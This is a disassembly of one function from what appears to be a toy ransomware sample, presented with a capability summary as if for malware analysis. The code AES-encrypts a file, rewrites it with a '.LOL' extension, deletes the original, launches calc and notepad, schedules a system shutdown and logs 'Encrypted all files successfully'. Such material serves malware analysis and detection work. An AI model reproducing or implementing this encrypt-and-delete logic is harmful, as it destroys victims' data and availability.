Function at 0x1400017b5
Capabilities:
Create directory
Delete file
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x228], rdx
mov rdx, qword [rbp + 0x228]
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.AES256.AES256_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x220]
mov rcx, rax
call sym.readFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.AES256.encrypt_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x1a0]
mov rdx, qword [rbp + 0x220]
mov rcx, rax
call sym.replaceExtensionWithLOL_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.writeFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov rcx, qword [rbp + 0x220]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
lea rcx, str.start_calc.exe
call sym.system
lea rcx, str.start_notepad.exe
call sym.system
lea rcx, str.shutdown__s__t_30
call sym.system
lea rax, [rbp + 0x1ff]
mov rcx, rax
call fcn.1400655b0
lea rdx, [rbp + 0x1ff]
lea rax, [rbp + 0x180]
mov r8, rdx
lea rdx, str.C:_Users_eviluser_Documents
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.C:_Users_eviluser_Documents_logs.txt
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
lea rdx, str.Encrypted_all_files_successfully_
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c0]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.AES256.AES256__
jmp 0x1400019d9
add rsp, 0x288
pop rbx
pop rbp
ret